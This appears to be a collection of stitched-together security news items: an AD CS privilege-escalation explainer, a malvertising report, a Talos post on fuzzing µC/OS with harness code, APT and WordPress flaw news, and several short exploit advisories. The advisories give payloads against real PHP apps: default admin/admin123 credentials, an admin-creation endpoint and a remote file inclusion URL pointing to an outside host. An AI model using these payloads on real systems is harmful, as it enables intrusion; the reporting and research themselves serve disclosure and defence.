The most dangerous vulnerability you’ve never heard of.
In the world of cybersecurity, vulnerabilities are discovered so often, and at such a high rate, that it can be very difficult to keep up with. Some vulnerabilities will start ringing alarm bells within your security tooling, while others are far more nuanced, but still pose an equally dangerous threat. Today, we want to discuss one of

**_The most dangerous vulnerability you've never heard of._**

In the world of cybersecurity, vulnerabilities are discovered so often, and at such a high rate, that it can be very difficult to keep up with. Some vulnerabilities will start ringing alarm bells within your security tooling, while others are far more nuanced, but still pose an equally dangerous threat. Today, we want to discuss one of these more nuanced vulnerabilities as it is likely lurking in your environment waiting to be exploited: Active Directory Certificate Services vulnerabilities.

vPenTest by Vonahi Security recently implemented an attack vector specifically designed to identify and mitigate these hidden AD CS threats. But first, let's explore why AD CS vulnerabilities are so dangerous and how they work.

****What is Active Directory Certificate Services?****

Active Directory Certificate Services ("AD CS"), as defined by Microsoft is, "a Windows Server role for issuing and managing public key infrastructure (PKI) certificates used in secure communication and authentication protocols." Some common features and services that rely on AD CS are:

*   The Windows Logon Process
*   Enterprise VPN and Wireless Networks
*   Email Encryption and Digital Signatures
*   Smart Card Authentication

As companies continue to increase the variety of technologies available within their organizations, AD CS will become more common and more necessary, especially as companies continue to host their services in the cloud. Many AWS, Azure and GCP services require certificate-based authentication to function, so it is expected that AD CS will become an increasingly prominent and required service in modern multi-cloud networks.

****Hidden hazards.****

As with all powerful tools, there is a responsibility to maintain these tools properly, as they can very often be misused without the proper safeguards. This is indeed the case with AD CS. Since AD CS is a core component of the modern Windows and Active Directory authentication and authorization framework, any vulnerabilities that exist pose a great risk to those environments. As we saw 6-7 years ago with Kerberos, and continue to see today, if key authentication infrastructure is compromised, it can be abused to great lengths. The same is the case with AD CS, if not to a greater extent.

****AD CS Attack Basics****

AD CS attacks rely on the fact that the domain trusts the Certificate Authority ("CA") server as much as it trusts its Kerberos servers and other identity servers. Think of the CA server as a gatekeeper. Just as a gatekeeper controls access to a secure area, the CA server controls the distribution and validation of certificates, ensuring that only trusted entities can gain access.

However, AD CS attacks leverage this fact in order to circumvent the need for things like passwords or encryption keys. There are four major classes of AD CS vulnerabilities:

*   ESC – This class of vulnerabilities results in some level of privilege escalation within the victim network / domain. Attackers can abuse these vulnerabilities to convert their access from a low- privileged user, to the domain administrator, with little to no effort.
*   THEFT – These vulnerabilities are present when there are not significant security controls around the client endpoint, which allow for the authentication certificates to be stolen, resulting in either privilege escalation or persistence in the environment.
*   PERSIST – As the name states, these vulnerabilities result in a situation in the network environment in which the attacker can abuse their access to a certificate in order to persist their access in an environment, without the need for a password.
*   CVE – Separate from the first three classes, these vulnerabilities are based on abusing certain known vulnerabilities within AD CS that have patches.

Critically worth noting is that, while Microsoft does track and have patches released for the AD CS vulnerabilities that have been assigned CVEs, for the majority of these vulnerabilities, Microsoft puts the onus of repair and security on the consumer, which leads to the presence of these vulnerabilities much more often.

The most dangerous of the AD CS vulnerability categories is the ESC category (ESC as in privilege escalation). These pose the greatest threat to the user's environment as they require little to no privileges, depending on the specific misconfiguration. One such misconfiguration is the ESC2 vulnerability, which occurs from a server's need to impersonate certain users under particular circumstances.

This attack allows a standard user to enroll for a certificate by impersonating them via the request's on-behalf-of field. By doing this, a standard low privileged user can pretend they are the domain administrator and request certificates, and later their NTLM hash, resulting in full compromise of the domain administrator account, and typically the whole domain. Check out the demo to see how an attacker might exploit this by using the AD CS hacking tool, Certipy.

****What should you do?****

As discussed, Microsoft does not have patches that make fixing or identifying these vulnerabilities easy for their users, so the responsibility falls on the users of AD CS to secure their own systems, which can be challenging. So, what to do?

Built by the discoverers of this vulnerability class, https://github.com/GhostPack/PSPKIAudit is a PowerShell framework designed to do a lot of the heavy lifting for you and identify any offending vulnerabilities in the AD CS configuration. However, even if you do rule out these vulnerabilities at one point in time, they may resurface alongside the addition of new tools to the environment. That's where vPenTest by Vonahi Security comes in.

vPenTest is a state-of-the-art automated penetration testing tool that takes charge of your network, performing comprehensive security assessments automatically, allowing your business to continue to focus on what matters the most for you. vPenTest has built-in detections for AD CS vulnerabilities and can demonstrate impact by exploiting the vulnerabilities in the network so you can show the relevant stakeholders why they need to care about these vulnerabilities. Check out vPenTest today!

_Credits to the SpecterOps team for their wonderful research into the subject and to ly4k for developing such an amazing tool, Certipy, to help identify these vulnerabilities._

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Breaking Down AD CS Vulnerabilities: Insights for InfoSec Professionals

A Google search ad for Canva is highly misleading and walks users into a trap.

In a previous blog post, we showed how fraudsters were leveraging features from the very company (Microsoft) they were impersonating. We continue this series with another clever trick abusing Canva, a popular online tool for graphic design.

This time, the scammers registered an account on Canva to create a new design that, is in fact, a replica of the Canva home page. As victims come from a malicious ad, they land on this deceiving page that lures them into interacting with it. The result: as soon as you click on the image, your browser is hijacked with a fake Microsoft alert.

In this blog, we share the details of yet another abuse of the online experience. We have reported this malicious campaign to both Google and Canva.

**Convincing search ads**

We identified two different advertiser accounts involved in creating fraudulent ads for the design platform Canva. The corresponding ads from both advertisers were displayed at the very top of the Google search page results, as seen in the image below.

There is very little that tells you that those ads are fake, and since most people trust what they see, they will likely be inclined to click on them.

Scammers created a free account on Canva and made a design that looks just like… Canva’s home page. Of all the possible art they could have created, they chose to take a screenshot of Canva’s site and use it as their creation.

This is their “trick”, they want users to think they have landed on the real website and expect them to click on the ‘Start designing’ button:

**Malicious URL opens up fake Microsoft alert**

If we look at the source code behind that design, we see something rather interesting: a hyperlink to an external site. This means that if you click on the image, a new tab (_target=”\_blank”_) will open at the given URL.

This URL hijacks your browser and claims “Windows locked due to unusual activity”:

Threat actors from different walks of life are leveraging a powerful combo: branded Google ads and decoy pages. This allows them to lure in a large number of potential victims right from search engine to scams or malware.

The bottom line is you simply can’t trust what you see, as everything is made to look legitimate in one way or another. To regain control of their web browsing experience, users need to be more proactive and use any of the tools at their disposal.

Malwarebytes continues to hunt for malvertising schemes and diligently reports them to the platforms that are being abused. For additional protection, we recommend our free Browser Guard extension.

 Fake Canva home page leads to browser lock 

Online Graduate Tracer System version 1.0.0 suffers from an insecure direct object reference vulnerability.

**Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference**

Posted Aug 29, 2024

Authored by indoushka

Online Graduate Tracer System version 1.0.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 0abd7e5d887d9e2204c565886d418ad0656b2616bb80e508761e6e23aa8bf66f

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**Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference**

    =============================================================================================================================================| # Title     : Online Graduate Tracer System V 1.0.0 IDOR Vulnerability                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tracking.zip                                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : leads to the creation of a new admin.[+] use payload : /admin/user_ad.php or /admin/homead.php[+] http://127.0.0.1/tracking/admin/user_ad.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference

Online Appointment System version 1.0 suffers from an ignored default credential vulnerability.

**Online Appointment System 1.0 Insecure Settings**

Posted Aug 29, 2024

Authored by indoushka

Online Appointment System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | d5e851d5d33d2e7f80f5f84bed4e54f5abf704b307cd6b2d6284ec6e7d940a3c

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**Online Appointment System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Online Appointment System v1.0 Insecure Settings Vulnerability                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/php/14502/online-appointment-system-php-full-source-code-2020.html                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Online Appointment System 1.0 Insecure Settings

Multi-Vendor Online Groceries Management System version 1.0 suffers from an ignored default credential vulnerability.

**Multi-Vendor Online Groceries Management System 1.0 Insecure Settings**

Posted Aug 29, 2024

Authored by indoushka

Multi-Vendor Online Groceries Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | cd8e33861bcd681954a3b899d067996fd35799bcecc9ac6f0764304867a5ecb8

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**Multi-Vendor Online Groceries Management System 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Multi-Vendor Online Groceries Management System v1.0 Insecure Settings Vulnerability                                        || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Multi-Vendor Online Groceries Management System 1.0 Insecure Settings

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries.

Wednesday, August 28, 2024 12:00

This is the first post of a three-part series, where we will be delving into the intricacies of fuzzing µC/OS protocol stacks. The techniques I will discuss are universally applicable to various RTOS environments, though our focus will primarily be on µC/OS. 

I’ll highlight some of the strategic code modifications I implemented across different µC/OS components. The objective is to streamline the process of developing a fuzzing harness tailored for the µC/HTTP-server. In the second installment of this series, I’ll discuss a technique that I used for delivering multiple requests per fuzz test case. The third post will be like this one, as I’ll describe the code modifications that I made with the aim of fuzzing the µC/TCP-IP stack.

For a bit of context, µC/OS is an RTOS, or “Real-Time Operating System.” An RTOS is a specialized operating system designed to manage hardware resources and host applications that need to run in systems where timing is critical, such as in embedded systems, medical devices, or industrial controls. RTOSes haven’t been fuzzed as thoroughly as software that runs on desktop operating systems, primarily due to the complexities associated with setting up a fuzzing harness for these systems. 

Developing a harness for an RTOS requires more coding effort than what is typically required for a straightforward, single-line fuzzing harness used with desktop applications or libraries. 

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries. It’s important to put these codebases through the same rigorous testing as is common for desktop operating systems. My hope is that the techniques described in this blog post series will encourage more widespread use of fuzzing of RTOS software components. 

Historically fuzzing RTOS code involved a custom hardware setup to fuzz the code in its native environment, or fuzzing on an emulated version of the system. However, when Weston Embedded made the full µC/OS source code openly available in 2020, it sparked my curiosity about whether there could be a less complex approach to fuzz this type of code.

The goals for my fuzzer are:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case (more on this in part 2).

Additionally, the constraints (self-imposed) for my HTTP fuzzer are:

*   A software-only solution.
*   Run natively on Linux.

With that in mind, I wanted to avoid using emulation or dedicated hardware for my fuzzer.

**Linux port**

To make use of a modern fuzzing framework like AFL++, I needed to write some code that would allow the µC/HTTP-server to operate on Linux instead of the native µC/OS kernel. However, I had to give some thought to what exactly I wanted my fuzzer to target and determine appropriate insertion points for my hooks that would enable this protocol implementation to run on Linux.

Below is a basic architecture diagram showing the software component structure of a µC/HTTP-server application. The blue highlight represents the components that I will be modifying to port the application to Linux. The orange highlight represents the code which is the target for the fuzzer.

The modular design of µC/OS makes it wonderful to work with for this type of fuzzing. The Kernel Abstraction Layer (KAL in the diagram) provides a common API that is utilized by each of their libraries. This makes it easy to create a custom KAL that either mimics the desired RTOS functionalities for my fuzzer or simply returns a success signal for features that aren't relevant to the fuzzing process. Although µC/OS provides a POSIX-compatible KAL that enables the µC/HTTP-server to run on Linux, I chose to create my own KAL interface to simplify the entire setup. 

The KAL lays out an API blueprint for operating system components like task management, locks, semaphores, timers, and message queues. In the case of µC/HTTP-server, the only KAL function it calls is KAL_TaskCreate, which means I only needed to implement this particular function in my custom KAL interface. Additionally, since the task in question is the main HTTP processing loop, I found a workaround by directly invoking the function itself within the KAL_TaskCreate function, bypassing the need for a more complex task creation process. Example code below:

    void  KAL_TaskCreate (KAL_TASK_HANDLE     task_handle,
                          void              (*p_fnct)(void  *p_arg),
                          void               *p_task_arg,
                          CPU_INT08U          prio,
                          KAL_TASK_EXT_CFG   *p_cfg,
                          RTOS_ERR           *p_err)
    {
        /* return success  */
        *p_err = RTOS_ERR_NONE;
        /* fake it and call the function */
        p_fnct(p_task_arg);
        return;
    }

**Networking port****Socket reads**

Much like the Linux port mentioned earlier, there is a network abstraction called NetSock within µC/OS's TCP/IP protocol suite which is like a POSIX socket in its functionality. For the purposes of this fuzzing project, my attention isn't on probing the underlying TCP/IP stack; instead, I'm focused on the µC/HTTP-server code. To ensure that the fuzzing input is fed directly to the µC/HTTP-server code without first passing through the TCP/IP code, I created a custom NetSock implementation. 

My ultimate goal for this fuzzer is to read network data from a file. However, it will simplify the testing and debugging process to use existing tools to send real network traffic to my application. Once my µC/HTTP-server application is working enough to load a web page in a browser, it shouldn’t be too difficult to redirect protocol data from a file. 

I decided to implement a NetSock to POSIX socket port. All that was required to do that was to call the POSIX counterpart within the NetSock API and return an appropriate µC/OS error code. Below is example code demonstrating receiving data from a socket:

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        *p_err = NET_SOCK_ERR_NONE;
        ssize_t recvLen = 0;
        recvLen = recv(sock_id, p_data_buf, data_buf_len, 0);
        if (recvLen < 0)
        {
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
        }
        else if (recvLen == 0)
        {
            *p_err = NET_SOCK_ERR_RX_Q_EMPTY;
        }
        return recvLen;
    }
    

I then repeated this process for each of the NetSock_\* functions. I used the correct NetSock_\* function signature, called the corresponding POSIX socket function call and then returned an error code that was of the type NET_SOCK_RTN_CODE.

**File reads**

With my µC/HTTP-server application now properly responding to HTTP requests, the next step was to set it up for fuzzing by having the NetSock code read from a file instead of a real POSIX socket. There are a few different options of how to achieve reading from a file. The first is using a tool called libdesock. The way that file redirection works with this tool is that the library gets loaded by the Linux linker before other libraries by using LD_PRELOAD. This allows the libdesock library to intercept POSIX socket calls and redirect them to stdin and stdout. 

Since I was already well acquainted with modifying the NetSock code, another simple approach is to read from a file instead of calling recv within NetSock. To implement this, my µC/HTTP-server application takes a file name as an argument and stores a file pointer to that file in a global variable named curr_inputfd. Below is an example of “receiving” data from a file: 

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        ssize_t totalLen = 0;
    
        *p_err = NET_SOCK_ERR_NONE;
    
        totalLen = read(curr_inputfd, (char*)p_data_buf, data_buf_len);
    
        if (0 > totalLen)
        {
            /* return an error */
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
            
        }
        else if (0 == totalLen)
        {
            /* we've read the whole file and we can leave*/
            *p_err = NET_SOCK_ERR_CLOSED;
        }
    
        return totalLen;
    }
    

It is important to note that the above code returns an error when the end of the file (EOF) is reached. This happens because NetSock_RxData is invoked within a processing loop, and the error serves as an indicator to the caller that this "socket" has been closed.

When fuzzing an application, it is crucial for the fuzzer to differentiate between a clean exit (normal program termination) and a crash. Additionally, the program should terminate after processing the fuzzed input. Therefore, I needed to make another code modification for fuzzing purposes, ensuring that the program exits after the file has been read and processed, resulting in a "normal" termination. 

Without this modification, the application would continue running in a processing loop, causing the fuzzer to mistakenly count this as a hang rather than a normal program termination, leading to false-positives for hangs.

By placing the exit in this location, it will be called during the typical execution flow of closing a connection. And, as noted above, when the error code NET_SOCK_ERR_CLOSED is returned from NetSock_RxData, it triggers the HTTPsConn_Close function, which subsequently terminates the program's execution.

**Memory errors**

A major benefit of porting my µC/HTTP-server application to run natively on Linux is that I can compile my application with AddressSanitizer. AddressSanitizer, or ASAN, is a compiler feature in GCC and Clang that can detect memory errors in C/C++. 

This can be a very valuable tool when used in conjunction with fuzzing to reveal software vulnerabilities. When ASAN is enabled, the application will crash when a memory error is encountered. 

Things like use after free, NULL pointer dereference, and buffer overruns will cause an immediate crash even if the test input would not have normally crashed the program. When ASAN causes a program to crash, it’s like an alarm bell going off for a vulnerability researcher (**“**Look over here, there are problems in this section of code!**”**). I wanted to use ASAN when running my fuzzer, but it didn’t work straight away for heap memory in my µC/HTTP-server application. This is because µC/OS provides its own heap implementation. 

ASAN works by tracking heap memory allocations made with glibc malloc, but my application doesn’t use malloc at all. The simplest solution that I produced was to add preprocessor macros to detect when the application was being compiled with ASAN and redirect the allocation to glibc malloc. Here’s an example of what I mean:

    void  *Mem_DynPoolBlkGet (MEM_DYN_POOL  *p_pool,
                              LIB_ERR       *p_err)
    {
    #ifdef __SANITIZE_ADDRESS__
        p_blk = malloc(p_pool->BlkSize);
        if (NULL == p_blk)
        {
            *p_err = LIB_MEM_ERR_POOL_EMPTY;
            return(DEF_NULL);
        }
        else
        {
            *p_err = LIB_MEM_ERR_NONE;
        }
        return (p_blk);
    
    #endif /*__SANITIZE_ADDRESS__*/

µC/OS provides developers the capability to define constraints on the heap's location and utilization with its specialized heap allocator. This feature is particularly useful in systems with limited memory, where developers require fine-tuned control over memory allocation. However, since my application is running on Linux, I'm not constrained by memory limitations, and I have access to the standard glibc malloc function. Simply calling malloc within Mem_DynPoolBlkGet  works because the caller of Mem_DynPoolBlkGet doesn’t care about the specific memory location of the pointer that's returned. Rather, it expects the pointer to reference a chunk of memory that's ready for use and meets the minimum size requirement. By making this minor adjustment to the code, I enabled the Address Sanitizer (ASAN) features I wanted, without affecting the rest of the application's functionality.

**Vulnerability highlight**

To this point, we’ve made strategic modifications to µC/OS code, creating a software-only fuzzing solution capable of running natively on Linux and accepting input from a file. The approach we discussed here has proven its efficacy by uncovering five unique vulnerabilities: TALOS-2023-1725 (CVE-2023-24585), TALOS-2023-1733 (CVE-2023-27882), TALOS-2023-1738 (CVE-2023-28379), TALOS-2023-1746 (CVE-2023-31247) and TALOS-2023-1843 (CVE-2023-45318).

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. Other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

The next installment of this series will describe the complexities of handling multiple requests per test case — an enhancement that holds the potential to reveal even more vulnerabilities.

Fuzzing µC/OS protocol stacks, Part 1: HTTP server fuzzing

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

**MSMS-PHP 1.0 Insecure Settings**

Posted Aug 28, 2024

Authored by indoushka

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit, php

SHA-256 | 901a66e3533b07e82bfa171f76797bfe6f506ccd295fb4c073fbbd2ad85576ea

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**MSMS-PHP 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : MSMS-PHP v1.0 Insecure Settings Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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MSMS-PHP 1.0 Insecure Settings

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

**Laundry Management System 1.0 Remote File Inclusion**

Posted Aug 28, 2024

Authored by indoushka

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion

SHA-256 | 8fab3cbba3b63d49ce3f1398516dff725855194afb4b9b834d890bf1ab8dff45

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**Laundry Management System 1.0 Remote File Inclusion**

    =============================================================================================================================================| # Title     : Laundry Management System 1.0 File inclusion Vulnerability                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/online-laundry-management-system-source-code/?wpdmdl=6058&refresh=66bbd3015dcfe1723585281     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] USe Payload : /index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg[+] http://127.0.0.1/laundry_Management_System/index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

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Laundry Management System 1.0 Remote File Inclusion

A South Korea-aligned cyber espionage has been linked to the zero-day exploitation of a now-patched critical remote code execution flaw in Kingsoft WPS Office to deploy a bespoke backdoor dubbed SpyGlace.
The activity has been attributed to a threat actor dubbed APT-C-60, according to cybersecurity firms ESET and DBAPPSecurity. The attacks have been found to infect Chinese and East Asian users

Cyber Attack / Vulnerability

A South Korea-aligned cyber espionage has been linked to the zero-day exploitation of a now-patched critical remote code execution flaw in Kingsoft WPS Office to deploy a bespoke backdoor dubbed SpyGlace.

The activity has been attributed to a threat actor dubbed **APT-C-60**, according to cybersecurity firms ESET and DBAPPSecurity. The attacks have been found to infect Chinese and East Asian users with malware.

The security flaw in question is CVE-2024-7262 (CVSS score: 9.3), which stems from a lack of proper validation of user-provided file paths. This loophole essentially allows an adversary to upload an arbitrary Windows library and achieve remote code execution.

The bug "allows code execution via hijacking the control flow of the WPS Office plugin component promecefpluginhost.exe," ESET said, adding it found another way to achieve the same effect. The second vulnerability is tracked as CVE-2024-7263 (CVSS score: 9.3).

The attack conceived by APT-C-60 weaponizes the flaw into a one-click exploit that takes the form of a booby-trapped spreadsheet document that was uploaded to VirusTotal in February 2024.

Specifically, the file comes embedded with a malicious link that, when clicked, triggers a multi-stage infection sequence to deliver the SpyGlace trojan, a DLL file named TaskControler.dll that comes with file stealing, plugin loading, and command execution capabilities.

"The exploit developers embedded a picture of the spreadsheet's rows and columns inside the spreadsheet in order to deceive and convince the user that the document is a regular spreadsheet," security researcher Romain Dumont said. "The malicious hyperlink was linked to the image so that clicking on a cell in the picture would trigger the exploit."

APT-C-60 is believed to be active since 2021, with SpyGlace detected in the wild as far back as June 2022, according to Beijing-based cybersecurity vendor ThreatBook.

"Whether the group developed or bought the exploit for CVE-2024-7262, it definitely required some research into the internals of the application but also knowledge of how the Windows loading process behaves," Dumont said.

"The exploit is cunning as it is deceptive enough to trick any user into clicking on a legitimate-looking spreadsheet while also being very effective and reliable. The choice of the MHTML file format allowed the attackers to turn a code execution vulnerability into a remote one."

The disclosure comes as the Slovak cybersecurity company noted that a malicious third-party plugin for the Pidgin messaging application named ScreenShareOTR (or ss-otr) has been found to contain code responsible for downloading next-stage binaries from a command-and-control (C&C) server, ultimately leading to the deployment of DarkGate malware.

"The functionality of the plugin, as advertised, includes screen sharing that uses the secure off-the-record messaging (OTR) protocol. However, in addition to that, the plugin contains malicious code," ESET said. "Specifically, some versions of pidgin-screenshare.dll can download and execute a PowerShell script from the C&C server."

The plugin, which also contains keylogger and screenshot capturing features, has since been removed from the third-party plugins list. Users who have installed the plugin are recommended to remove it with immediate effect.

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APT-C-60 Group Exploit WPS Office Flaw to Deploy SpyGlace Backdoor

A critical security flaw has been disclosed in the WPML WordPress multilingual plugin that could allow authenticated users to execute arbitrary code remotely under certain circumstances.
The vulnerability, tracked as CVE-2024-6386 (CVSS score: 9.9), impacts all versions of the plugin before 4.6.13, which was released on August 20, 2024.
Arising due to missing input validation and sanitization,

WordPress Security / Website Protection

A critical security flaw has been disclosed in the WPML WordPress multilingual plugin that could allow authenticated users to execute arbitrary code remotely under certain circumstances.

The vulnerability, tracked as CVE-2024-6386 (CVSS score: 9.9), impacts all versions of the plugin before 4.6.13, which was released on August 20, 2024.

Arising due to missing input validation and sanitization, the issue makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

WPML is a popular plugin used for building multilingual WordPress sites. It has over one million active installations.

Security researcher stealthcopter, who discovered and reported CVE-2024-6386, said the problem lies in the plugin's handling of shortcodes that are used to insert post content such as audio, images, and videos.

"Specifically, the plugin uses Twig templates for rendering content in shortcodes but fails to properly sanitize input, leading to server-side template injection (SSTI)," the researcher said.

SSTI, as the name implies, occurs when an attacker is able to use native template syntax to inject a malicious payload into a web template, which is then executed on the server. An attacker could then weaponize the shortcoming to execute arbitrary commands, effectively allowing them to take control of the site.

"This WPML release fixes a security vulnerability that could allow users with certain permissions to perform unauthorized actions," the plugin maintainers, OnTheGoSystems, said. "This issue is unlikely to occur in real-world scenarios. It requires users to have editing permissions in WordPress, and the site must use a very specific setup."

Users of the plugin are recommended to apply the latest patches to mitigate against potential threats.

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Tag

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